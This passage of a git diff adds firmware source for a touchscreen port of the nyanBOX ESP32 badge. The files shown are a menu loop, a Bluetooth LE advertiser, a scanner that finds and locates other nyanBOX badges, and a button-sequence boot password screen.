getVisibleMenuSize(); + if (sz > 0) { + int idx = (sy - 100) * sz / 120; + if (idx < 0) idx = 0; + if (idx > sz - 1) idx = sz - 1; + if (idx != item_selected) { item_selected = idx; needsRedraw = true; updateLastActivity(); } + } + } + int ty; + if (touchMenuTap(ty)) { // tap in the main area = select + int idx = touchScreenYToItem(ty, menuStart); + if (idx >= 0 && idx < getVisibleMenuSize()) { + item_selected = idx; + needsRedraw = true; + updateLastActivity(); + activateMenuSelection(); + } + } + } + + if (currentState == APP_LEVEL) { + levelSystemLoop(); + } else { + if (currentState == APP_MAIN) { + updateNyanboxAdvertiser(); + } + + if (needsRedraw) { + u8g2.clearBuffer(); + + int start; + if (item_selected == 0) start = 0; + else if (item_selected == getVisibleMenuSize() - 1) start = max(0, getVisibleMenuSize() - 3); + else start = item_selected - 1; + menuStart = start; // hoist for tap->item math + + int highlight = item_selected - start; + + int selectionY = 1 + (highlight * (ITEM_HEIGHT + ITEM_SPACING)); + drawSelection(SELECTION_X, selectionY, SELECTION_WIDTH, ITEM_HEIGHT, true); + + for (int i = 0; i < 3; i++) { + int idx = start + i; + if (idx < getVisibleMenuSize()) { + MenuItem *item = getVisibleMenuItem(idx); + int itemY = 1 + (i * (ITEM_HEIGHT + ITEM_SPACING)); + int textY = itemY + 13; + + u8g2.setFont(u8g2_font_helvR08_tr); + u8g2.drawStr(TEXT_X, textY, item->name); + + if (item->icon) { + int iconY = itemY; + u8g2.drawXBMP(ICON_X, iconY, 16, 16, item->icon); + } + } + } + + int visSize = getVisibleMenuSize(); + if (visSize > 3) { // finger-wide scroll slider in the left gutter + int trackH = 60, thumbH = trackH * 3 / visSize; + if (thumbH < 10) thumbH = 10; + int denom = visSize - 1; if (denom < 1) denom = 1; + int thumbY = 2 + (item_selected * (trackH - thumbH)) / denom; + u8g2.drawFrame(1, 2, 13, trackH); + u8g2.drawBox(3, thumbY, 9, thumbH); + } + + if (currentState == APP_MAIN) { + u8g2.setFont(u8g2_font_5x8_tr); + char levelStr[16]; + sprintf(levelStr, "Level %d", getCurrentLevel()); + int levelWidth = u8g2.getUTF8Width(levelStr); + u8g2.drawStr(128 - levelWidth, 8, levelStr); + + const char* rightHint = "Level Menu ->"; + int rightHintWidth = u8g2.getUTF8Width(rightHint); + u8g2.drawStr(128 - rightHintWidth, 64, rightHint); + } + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + needsRedraw = false; + } + } +} \ No newline at end of file diff --git a/cyd-port/src/nyanbox_advertiser.cpp b/cyd-port/src/nyanbox_advertiser.cpp new file mode 100644 index 0000000..fbbeb02 --- /dev/null +++ b/cyd-port/src/nyanbox_advertiser.cpp @@ -0,0 +1,141 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/nyanbox_advertiser.h" +#include "../include/radio_manager.h" +#include "../include/nyanbox_common.h" +#include "esp_bt.h" +#include "esp_gap_ble_api.h" +#include "esp_bt_main.h" + +static bool advertiserActive = false; +static bool advertiserEnabled = false; +static char deviceName[32]; +static uint8_t advData[31]; +static uint8_t scanRespData[31]; +static uint8_t advDataLen = 0; +static uint8_t scanRespDataLen = 0; + +static esp_ble_adv_params_t adv_params = { + .adv_int_min = 0x20, + .adv_int_max = 0x40, + .adv_type = ADV_TYPE_IND, + .own_addr_type = BLE_ADDR_TYPE_PUBLIC, + .channel_map = ADV_CHNL_ALL, + .adv_filter_policy = ADV_FILTER_ALLOW_SCAN_ANY_CON_ANY, +}; + +void generateAdvertiserDeviceName(char *name, size_t size) { + uint64_t chipid = ESP.getEfuseMac(); + uint16_t chip = (uint16_t)(chipid >> 32); + snprintf(name, size, "nyanBOX-%04X", chip); +} + +uint32_t parseAdvertiserVersionToNumber(const char *versionStr) { + if (!versionStr || versionStr[0] != 'v') + return 0; + + int major = 0, minor = 0, patch = 0; + sscanf(versionStr + 1, "%d.%d.%d", &major, &minor, &patch); + + return (major * 10000) + (minor * 100) + patch; +} + +void createManufacturerData(uint8_t *manufData) { + manufData[0] = 0xFF; + manufData[1] = 0xFF; + uint16_t level = getCurrentLevel(); + uint32_t version = parseAdvertiserVersionToNumber(NYANBOX_VERSION); + manufData[2] = (level >> 8) & 0xFF; + manufData[3] = level & 0xFF; + manufData[4] = (version >> 24) & 0xFF; + manufData[5] = (version >> 16) & 0xFF; + manufData[6] = (version >> 8) & 0xFF; + manufData[7] = version & 0xFF; +} + +void buildAdvertisementData() { + advDataLen = 0; + + advData[advDataLen++] = 0x11; + advData[advDataLen++] = ESP_BLE_AD_TYPE_128SRV_CMPL; + + const char serviceUUID[] = "nyanBOX-service!"; + for (int i = 15; i >= 0; i--) { + advData[advDataLen++] = serviceUUID[i]; + } + + scanRespDataLen = 0; + + uint8_t nameLen = strlen(deviceName); + scanRespData[scanRespDataLen++] = nameLen + 1; + scanRespData[scanRespDataLen++] = ESP_BLE_AD_TYPE_NAME_CMPL; + memcpy(&scanRespData[scanRespDataLen], deviceName, nameLen); + scanRespDataLen += nameLen; + + uint8_t manufData[8]; + createManufacturerData(manufData); + scanRespData[scanRespDataLen++] = 9; + scanRespData[scanRespDataLen++] = ESP_BLE_AD_MANUFACTURER_SPECIFIC_TYPE; + memcpy(&scanRespData[scanRespDataLen], manufData, 8); + scanRespDataLen += 8; +} + +void initNyanboxAdvertiser() { + advertiserActive = false; + advertiserEnabled = false; + generateAdvertiserDeviceName(deviceName, sizeof(deviceName)); +} + +void startNyanboxAdvertiser() { + if (advertiserEnabled) return; + + advertiserEnabled = true; + + initBLE(); + + buildAdvertisementData(); + + esp_ble_gap_config_adv_data_raw(advData, advDataLen); + esp_ble_gap_config_scan_rsp_data_raw(scanRespData, scanRespDataLen); + esp_ble_gap_start_advertising(&adv_params); + + advertiserActive = true; +} + +void stopNyanboxAdvertiser() { + advertiserEnabled = false; + + if (advertiserActive) { + cleanupBLE(); + advertiserActive = false; + } +} + +void updateNyanboxAdvertiser() { + if (!advertiserEnabled || advertiserActive) return; + + if (!advertiserActive) { + initBLE(); + + buildAdvertisementData(); + + esp_ble_gap_config_adv_data_raw(advData, advDataLen); + esp_ble_gap_config_scan_rsp_data_raw(scanRespData, scanRespDataLen); + esp_ble_gap_start_advertising(&adv_params); + + advertiserActive = true; + } +} + +bool isNyanboxAdvertising() { + return advertiserActive; +} \ No newline at end of file diff --git a/cyd-port/src/nyanbox_detector.cpp b/cyd-port/src/nyanbox_detector.cpp new file mode 100644 index 0000000..47f936c --- /dev/null +++ b/cyd-port/src/nyanbox_detector.cpp @@ -0,0 +1,652 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/nyanbox_detector.h" +#include "../include/radio_manager.h" +#include "../include/nyanbox_common.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "../include/setting.h" +#include "esp_bt.h" +#include "esp_gap_ble_api.h" +#include "esp_bt_main.h" +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +#define BTN_UP BUTTON_PIN_UP +#define BTN_DOWN BUTTON_PIN_DOWN +#define BTN_RIGHT BUTTON_PIN_RIGHT +#define BTN_BACK BUTTON_PIN_LEFT +#define BTN_CENTER BUTTON_PIN_CENTER + +struct NyanBoxDevice { + char name[32]; + char address[18]; + int8_t rssi; + unsigned long lastSeen; + uint16_t level; + char version[16]; +}; + +static std::vector nyanBoxDevices; +const int MAX_DEVICES = 100; + +int currentIndex = 0; +int listStartIndex = 0; +bool isDetailView = false; +bool isLocateMode = false; +char locateTargetAddress[18] = {0}; +unsigned long lastButtonPress = 0; +const unsigned long debounceTime = 200; + +static bool needsRedraw = true; +static int lastDeviceCount = 0; +static unsigned long lastLocateUpdate = 0; +const unsigned long locateUpdateInterval = 1000; +static unsigned long lastCountdownUpdate = 0; +const unsigned long countdownUpdateInterval = 1000; +static bool wasScanning = false; + +static bool isScanning = false; +static unsigned long lastScanTime = 0; +const unsigned long scanInterval = 30000; +const unsigned long scanDuration = 8; + +static bool bleInitialized = false; +static bool scanCompleted = false; + +static esp_ble_scan_params_t ble_scan_params = { + .scan_type = BLE_SCAN_TYPE_ACTIVE, + .own_addr_type = BLE_ADDR_TYPE_PUBLIC, + .scan_filter_policy = BLE_SCAN_FILTER_ALLOW_ALL, + .scan_interval = 0x100, + .scan_window = 0xA0, + .scan_duplicate = BLE_SCAN_DUPLICATE_DISABLE +}; + +static void bda_to_string(uint8_t *bda, char *str, size_t size) { + if (bda == NULL || str == NULL || size < 18) { + return; + } + snprintf(str, size, "%02x:%02x:%02x:%02x:%02x:%02x", + bda[0], bda[1], bda[2], bda[3], bda[4], bda[5]); +} + +void parseManufacturerData(uint8_t *manufData, uint8_t manufLen, uint16_t &level, char *version) { + if (manufData == NULL || manufLen < 8 || manufData[0] != 0xFF || manufData[1] != 0xFF) { + return; + } + + level = (manufData[2] << 8) | manufData[3]; + uint32_t versionNum = (manufData[4] << 24) | (manufData[5] << 16) | + (manufData[6] << 8) | manufData[7]; + + int major = versionNum / 10000; + int minor = (versionNum / 100) % 100; + int patch = versionNum % 100; + + if (minor == 0 && patch == 0) + snprintf(version, 16, "v%d", major); + else if (patch == 0) + snprintf(version, 16, "v%d.%d", major, minor); + else + snprintf(version, 16, "v%d.%d.%d", major, minor, patch); +} + +bool hasNyanboxService(uint8_t *adv_data, uint8_t adv_data_len) { + + uint8_t uuid_len = 0; + uint8_t *uuid_data = esp_ble_resolve_adv_data(adv_data, ESP_BLE_AD_TYPE_128SRV_CMPL, &uuid_len); + + if (uuid_data != NULL && uuid_len >= 16) { + for (int i = 0; i + 16 <= uuid_len; i += 16) { + if (uuid_data[i+0] == 0x21 && uuid_data[i+1] == 0x65 && + uuid_data[i+2] == 0x63 && uuid_data[i+3] == 0x69 && + uuid_data[i+4] == 0x76 && uuid_data[i+5] == 0x72 && + uuid_data[i+6] == 0x65 && uuid_data[i+7] == 0x73 && + uuid_data[i+8] == 0x2d && uuid_data[i+9] == 0x58 && + uuid_data[i+10] == 0x4f && uuid_data[i+11] == 0x42 && + uuid_data[i+12] == 0x6e && uuid_data[i+13] == 0x61 && + uuid_data[i+14] == 0x79 && uuid_data[i+15] == 0x6e) { + return true; + } + } + } + + uuid_len = 0; + uuid_data = esp_ble_resolve_adv_data(adv_data, ESP_BLE_AD_TYPE_128SRV_PART, &uuid_len); + if (uuid_data != NULL && uuid_len >= 16) { + for (int i = 0; i + 16 <= uuid_len; i += 16) { + if (uuid_data[i+0] == 0x21 && uuid_data[i+1] == 0x65 && + uuid_data[i+2] == 0x63 && uuid_data[i+3] == 0x69 && + uuid_data[i+4] == 0x76 && uuid_data[i+5] == 0x72 && + uuid_data[i+6] == 0x65 && uuid_data[i+7] == 0x73 && + uuid_data[i+8] == 0x2d && uuid_data[i+9] == 0x58 && + uuid_data[i+10] == 0x4f && uuid_data[i+11] == 0x42 && + uuid_data[i+12] == 0x6e && uuid_data[i+13] == 0x61 && + uuid_data[i+14] == 0x79 && uuid_data[i+15] == 0x6e) { + return true; + } + } + } + + return false; +} + +static void process_scan_result(esp_ble_gap_cb_param_t *scan_result) { + uint8_t *bda = scan_result->scan_rst.bda; + char addrStr[18]; + bda_to_string(bda, addrStr, sizeof(addrStr)); + + if (strlen(addrStr) < 12) return; + + for (size_t i = 0; i < nyanBoxDevices.size(); i++) { + if (strcmp(nyanBoxDevices[i].address, addrStr) == 0) { + nyanBoxDevices[i].rssi = scan_result->scan_rst.rssi; + nyanBoxDevices[i].lastSeen = millis(); + + uint8_t manuf_len = 0; + uint8_t *manuf_data = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_MANUFACTURER_SPECIFIC_TYPE, + &manuf_len); + if (manuf_data != NULL && manuf_len >= 8) { + parseManufacturerData(manuf_data, manuf_len, + nyanBoxDevices[i].level, nyanBoxDevices[i].version); + } + + uint8_t adv_name_len = 0; + uint8_t *adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_CMPL, + &adv_name_len); + + if (adv_name == NULL) { + adv_name_len = 0; + adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_SHORT, + &adv_name_len); + } + + if (adv_name != NULL && adv_name_len > 0 && adv_name_len < 32) { + memcpy(nyanBoxDevices[i].name, adv_name, adv_name_len); + nyanBoxDevices[i].name[adv_name_len] = '\0'; + } + + if (!isLocateMode) { + std::sort(nyanBoxDevices.begin(), nyanBoxDevices.end(), + [](const NyanBoxDevice &a, const NyanBoxDevice &b) { + return a.rssi > b.rssi; + }); + } + return; + } + } + + if (!hasNyanboxService(scan_result->scan_rst.ble_adv, scan_result->scan_rst.adv_data_len)) { + return; + } + + if (isLocateMode && strlen(locateTargetAddress) > 0) { + if (strcmp(addrStr, locateTargetAddress) != 0) { + return; + } + } else if (nyanBoxDevices.size() >= MAX_DEVICES) { + return; + } + + NyanBoxDevice newDev = {}; + strncpy(newDev.address, addrStr, 17); + newDev.address[17] = '\0'; + newDev.rssi = scan_result->scan_rst.rssi; + newDev.lastSeen = millis(); + newDev.level = 0; + strcpy(newDev.version, "Unknown"); + strcpy(newDev.name, "Unknown"); + + uint8_t adv_name_len = 0; + uint8_t *adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_CMPL, + &adv_name_len); + + if (adv_name == NULL) { + adv_name_len = 0; + adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_SHORT, + &adv_name_len); + } + + if (adv_name != NULL && adv_name_len > 0 && adv_name_len < 32) { + memcpy(newDev.name, adv_name, adv_name_len); + newDev.name[adv_name_len] = '\0'; + } + + uint8_t manuf_len = 0; + uint8_t *manuf_data = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_MANUFACTURER_SPECIFIC_TYPE, + &manuf_len); + if (manuf_data != NULL && manuf_len >= 8) { + parseManufacturerData(manuf_data, manuf_len, newDev.level, newDev.version); + } + + nyanBoxDevices.push_back(newDev); + + if (!isLocateMode) { + std::sort(nyanBoxDevices.begin(), nyanBoxDevices.end(), + [](const NyanBoxDevice &a, const NyanBoxDevice &b) { + return a.rssi > b.rssi; + }); + } + + needsRedraw = true; +} + +static void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param) { + switch (event) { + case ESP_GAP_BLE_SCAN_PARAM_SET_COMPLETE_EVT: + if (param->scan_param_cmpl.status == ESP_BT_STATUS_SUCCESS) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + lastScanTime = millis(); + } + break; + case ESP_GAP_BLE_SCAN_START_COMPLETE_EVT: + if (param->scan_start_cmpl.status != ESP_BT_STATUS_SUCCESS) { + isScanning = false; + } + break; + case ESP_GAP_BLE_SCAN_RESULT_EVT: + switch (param->scan_rst.search_evt) { + case ESP_GAP_SEARCH_INQ_RES_EVT: + process_scan_result(param); + break; + case ESP_GAP_SEARCH_INQ_CMPL_EVT: + lastScanTime = millis(); + scanCompleted = true; + needsRedraw = true; + if (isLocateMode) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + } else { + isScanning = false; + } + break; + default: + break; + } + break; + case ESP_GAP_BLE_SCAN_STOP_COMPLETE_EVT: + isScanning = false; + scanCompleted = true; + break; + default: + break; + } +} + +void nyanboxDetectorSetup() { + nyanBoxDevices.clear(); + nyanBoxDevices.reserve(MAX_DEVICES); + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + lastButtonPress = 0; + isScanning = true; + scanCompleted = false; + needsRedraw = true; + lastDeviceCount = 0; + lastLocateUpdate = 0; + lastCountdownUpdate = 0; + wasScanning = false; + + u8g2.begin(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.clearBuffer(); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "nyanBOX Devices..."); + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", 0, MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 60, "Press SEL to exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + + initBLE(); + + esp_ble_gap_register_callback(esp_gap_cb); + esp_ble_gap_set_scan_params(&ble_scan_params); + + bleInitialized = true; + + pinMode(BTN_UP, INPUT_PULLUP); + pinMode(BTN_DOWN, INPUT_PULLUP); + pinMode(BTN_RIGHT, INPUT_PULLUP); + pinMode(BTN_BACK, INPUT_PULLUP); + pinMode(BTN_CENTER, INPUT_PULLUP); +} + +void nyanboxDetectorLoop() { + if (!bleInitialized) return; + + unsigned long now = millis(); + + if (isScanning && !isLocateMode) { + if (lastDeviceCount != (int)nyanBoxDevices.size() || wasScanning != isScanning) { + lastDeviceCount = (int)nyanBoxDevices.size(); + wasScanning = isScanning; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "nyanBOX Devices..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", (int)nyanBoxDevices.size(), MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 42; + + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + int fillWidth = (nyanBoxDevices.size() * (barWidth - 4)) / MAX_DEVICES; + if (fillWidth > 0) { + u8g2.drawBox(barX + 2, barY + 2, fillWidth, barHeight - 4); + } + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + } + return; + } + + if (wasScanning != isScanning) { + wasScanning = isScanning; + needsRedraw = true; + } + + + unsigned long effectiveScanInterval = scanInterval; + uint32_t effectiveScanDuration = scanDuration; + + if (nyanBoxDevices.empty() && isContinuousScanEnabled()) { + effectiveScanInterval = 500; + effectiveScanDuration = 3; + } + + if (!isScanning && scanCompleted && now - lastScanTime > effectiveScanInterval && + !isDetailView && !isLocateMode) { + if (nyanBoxDevices.size() >= MAX_DEVICES) { + std::sort(nyanBoxDevices.begin(), nyanBoxDevices.end(), + [](const NyanBoxDevice &a, const NyanBoxDevice &b) { + if (a.lastSeen != b.lastSeen) { + return a.lastSeen < b.lastSeen; + } + return a.rssi < b.rssi; + }); + + int devicesToRemove = MAX_DEVICES / 4; + if (devicesToRemove > 0) { + nyanBoxDevices.erase(nyanBoxDevices.begin(), + nyanBoxDevices.begin() + devicesToRemove); + } + + currentIndex = listStartIndex = 0; + } + + scanCompleted = false; + isScanning = true; + esp_ble_gap_start_scanning(effectiveScanDuration); + lastScanTime = now; + return; + } + + if (scanCompleted && now - lastButtonPress > debounceTime) { + if (!isDetailView && !isLocateMode && digitalRead(BTN_UP) == LOW && currentIndex > 0) { + --currentIndex; + if (currentIndex < listStartIndex) + --listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_DOWN) == LOW && + currentIndex < (int)nyanBoxDevices.size() - 1) { + ++currentIndex; + if (currentIndex >= listStartIndex + 5) + ++listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !nyanBoxDevices.empty()) { + isDetailView = true; + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !nyanBoxDevices.empty()) { + isLocateMode = true; + strncpy(locateTargetAddress, nyanBoxDevices[currentIndex].address, sizeof(locateTargetAddress) - 1); + locateTargetAddress[sizeof(locateTargetAddress) - 1] = '\0'; + if (!isScanning) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + } + lastButtonPress = now; + lastLocateUpdate = now; + needsRedraw = true; + } else if (isLocateMode && digitalRead(BTN_BACK) == LOW) { + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_BACK) == LOW) { + isDetailView = false; + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } + } + + if (nyanBoxDevices.empty()) { + if (currentIndex != 0 || isDetailView || isLocateMode) { + needsRedraw = true; + } + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + } else { + currentIndex = constrain(currentIndex, 0, (int)nyanBoxDevices.size() - 1); + listStartIndex = + constrain(listStartIndex, 0, max(0, (int)nyanBoxDevices.size() - 5)); + } + + if (isDetailView && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (isLocateMode && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (nyanBoxDevices.empty() && scanCompleted && !isScanning && + now - lastCountdownUpdate >= countdownUpdateInterval) { + lastCountdownUpdate = now; + needsRedraw = true; + } + + if (!needsRedraw) { + return; + } + + needsRedraw = false; + u8g2.clearBuffer(); + + if (nyanBoxDevices.empty()) { + if (isContinuousScanEnabled()) { + + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "nyanBOX Devices..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", 0, MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 42; + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + } else { + + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "No nyanBOX Devices"); + u8g2.drawStr(0, 20, "found"); + u8g2.setFont(u8g2_font_5x8_tr); + char timeStr[32]; + unsigned long timeLeft = (scanInterval - (now - lastScanTime)) / 1000; + snprintf(timeStr, sizeof(timeStr), "Scanning in %lus", timeLeft); + u8g2.drawStr(0, 35, timeStr); + u8g2.drawStr(0, 50, "Press SEL to exit"); + } + } else if (isLocateMode) { + auto &dev = nyanBoxDevices[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[32]; + + char maskedName[33]; + maskName(dev.name, maskedName, sizeof(maskedName) - 1); + snprintf(buf, sizeof(buf), "%.16s", maskedName); + u8g2.drawStr(0, 8, buf); + + char maskedAddress[18]; + maskMAC(dev.address, maskedAddress); + snprintf(buf, sizeof(buf), "%s", maskedAddress); + u8g2.drawStr(0, 16, buf); + + u8g2.setFont(u8g2_font_7x13B_tr); + snprintf(buf, sizeof(buf), "RSSI: %d dBm", dev.rssi); + u8g2.drawStr(0, 28, buf); + + u8g2.setFont(u8g2_font_5x8_tr); + int rssiClamped = constrain(dev.rssi, -100, -40); + int signalLevel = map(rssiClamped, -100, -40, 0, 5); + + const char* quality; + if (signalLevel >= 5) quality = "EXCELLENT"; + else if (signalLevel >= 4) quality = "VERY GOOD"; + else if (signalLevel >= 3) quality = "GOOD"; + else if (signalLevel >= 2) quality = "FAIR"; + else if (signalLevel >= 1) quality = "WEAK"; + else quality = "VERY WEAK"; + + snprintf(buf, sizeof(buf), "Signal: %s", quality); + u8g2.drawStr(0, 38, buf); + + int barWidth = 12; + int barSpacing = 5; + int totalWidth = (barWidth * 5) + (barSpacing * 4); + int startX = (128 - totalWidth) / 2; + int baseY = 54; + + for (int i = 0; i < 5; i++) { + int barHeight = 8 + (i * 2); + int x = startX + (i * (barWidth + barSpacing)); + int y = baseY - barHeight; + + if (i < signalLevel) { + u8g2.drawBox(x, y, barWidth, barHeight); + } else { + u8g2.drawFrame(x, y, barWidth, barHeight); + } + } + + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + } else if (isDetailView && !nyanBoxDevices.empty() && currentIndex >= 0 && currentIndex < (int)nyanBoxDevices.size()) { + auto &dev = nyanBoxDevices[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[32]; + + char maskedName[33]; + maskName(dev.name, maskedName, sizeof(maskedName) - 1); + snprintf(buf, sizeof(buf), "Name: %s", maskedName); + u8g2.drawStr(0, 10, buf); + + char maskedAddress[18]; + maskMAC(dev.address, maskedAddress); + snprintf(buf, sizeof(buf), "Addr: %s", maskedAddress); + u8g2.drawStr(0, 20, buf); + + if (dev.level > 0) { + snprintf(buf, sizeof(buf), "Level: %u", dev.level); + } else { + snprintf(buf, sizeof(buf), "Level: Unknown"); + } + u8g2.drawStr(0, 30, buf); + + snprintf(buf, sizeof(buf), "Version: %s", dev.version); + u8g2.drawStr(0, 40, buf); + + snprintf(buf, sizeof(buf), "RSSI: %d Age: %lus", dev.rssi, (millis() - dev.lastSeen) / 1000); + u8g2.drawStr(0, 50, buf); + + u8g2.drawStr(0, 60, "L=Back SEL=Exit R=Locate"); + } else { + u8g2.setFont(u8g2_font_6x10_tr); + char header[32]; + snprintf(header, sizeof(header), "Badges: %d/%d", (int)nyanBoxDevices.size(), MAX_DEVICES); + u8g2.drawStr(0, 10, header); + + for (int i = 0; i < 5; ++i) { + int idx = listStartIndex + i; + if (idx >= (int)nyanBoxDevices.size()) break; + + auto &d = nyanBoxDevices[idx]; + if (idx == currentIndex) + u8g2.drawStr(0, 20 + i * 10, ">"); + + char line[32]; + const char *nameToShow = (d.name[0]) ? d.name : "Unknown"; + char maskedName[33]; + maskName(nameToShow, maskedName, sizeof(maskedName) - 1); + if (d.level > 0) { + snprintf(line, sizeof(line), "%.8s | L%d %d", maskedName, d.level, d.rssi); + } else { + snprintf(line, sizeof(line), "%.8s | L? %d", maskedName, d.rssi); + } + u8g2.drawStr(10, 20 + i * 10, line); + } + } + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} \ No newline at end of file diff --git a/cyd-port/src/password.cpp b/cyd-port/src/password.cpp new file mode 100644 index 0000000..64caaf3 --- /dev/null +++ b/cyd-port/src/password.cpp @@ -0,0 +1,291 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2026 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include +#include +#include + +#include "../include/pindefs.h" +#include "../include/password.h" +#include "../include/sleep_manager.h" + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +#define EEPROM_ADDR_PW_SEQ 6 +#define PW_MAX_LEN 8 + +static uint8_t readStoredSequence(uint8_t* out) { + uint8_t len = 0; + for (int i = 0; i < PW_MAX_LEN; i++) { + uint8_t b = EEPROM.read(EEPROM_ADDR_PW_SEQ + i); + if (b < 1 || b > 4) break; + out[len++] = b; + } + return len; +} + +bool passwordEnabled() { + uint8_t b = EEPROM.read(EEPROM_ADDR_PW_SEQ); + return b >= 1 && b <= 4; +} + +void clearPassword() { + EEPROM.write(EEPROM_ADDR_PW_SEQ, 0x00); + EEPROM.commit(); +} + +static void drawPasswordScreen(const char* title, uint8_t entered, bool showError) { + u8g2.clearBuffer(); + + u8g2.setFont(u8g2_font_helvB14_tr); + u8g2.setCursor((128 - u8g2.getUTF8Width(title)) / 2, 16); + u8g2.print(title); + + u8g2.setFont(u8g2_font_helvR08_tr); + const char* lbl = "Enter Password"; + u8g2.setCursor((128 - u8g2.getUTF8Width(lbl)) / 2, 30); + u8g2.print(lbl); + + { + const int AW = 9, AG = 4; + int totalW = PW_MAX_LEN * AW + (PW_MAX_LEN - 1) * AG; + int sx = (128 - totalW) / 2; + int sy = 37; + for (int i = 0; i < PW_MAX_LEN; i++) { + int ax = sx + i * (AW + AG); + if (i < (int)entered) { + u8g2.drawBox(ax + 2, sy + 1, 5, 5); + } else { + u8g2.drawHLine(ax + 2, sy + 3, 5); + } + } + } + + u8g2.setFont(u8g2_font_helvR08_tr); + if (showError) { + const char* err = "Incorrect, try again"; + u8g2.setCursor((128 - u8g2.getUTF8Width(err)) / 2, 60); + u8g2.print(err); + } else { + const char* hint = "SELECT to confirm"; + u8g2.setCursor((128 - u8g2.getUTF8Width(hint)) / 2, 60); + u8g2.print(hint); + } + + u8g2.sendBuffer(); +} + +void checkPasswordOnBoot() { + uint8_t stored[PW_MAX_LEN]; + uint8_t storedLen = readStoredSequence(stored); + if (storedLen == 0) return; + + bool upPrev = false, downPrev = false, leftPrev = false, rightPrev = false, selPrev = false; + unsigned long upT = 0, downT = 0, leftT = 0, rightT = 0, selT = 0; + const unsigned long db = 200; + + uint8_t entered[PW_MAX_LEN]; + uint8_t enteredLen = 0; + + drawPasswordScreen("nyanBOX", enteredLen, false); + + while (true) { + checkIdle(); + if (anyButtonPressed()) updateLastActivity(); + + unsigned long now = millis(); + bool upNow = digitalRead(BUTTON_PIN_UP) == LOW; + bool downNow = digitalRead(BUTTON_PIN_DOWN) == LOW; + bool leftNow = digitalRead(BUTTON_PIN_LEFT) == LOW; + bool rightNow = digitalRead(BUTTON_PIN_RIGHT) == LOW; + bool selNow = digitalRead(BUTTON_PIN_CENTER) 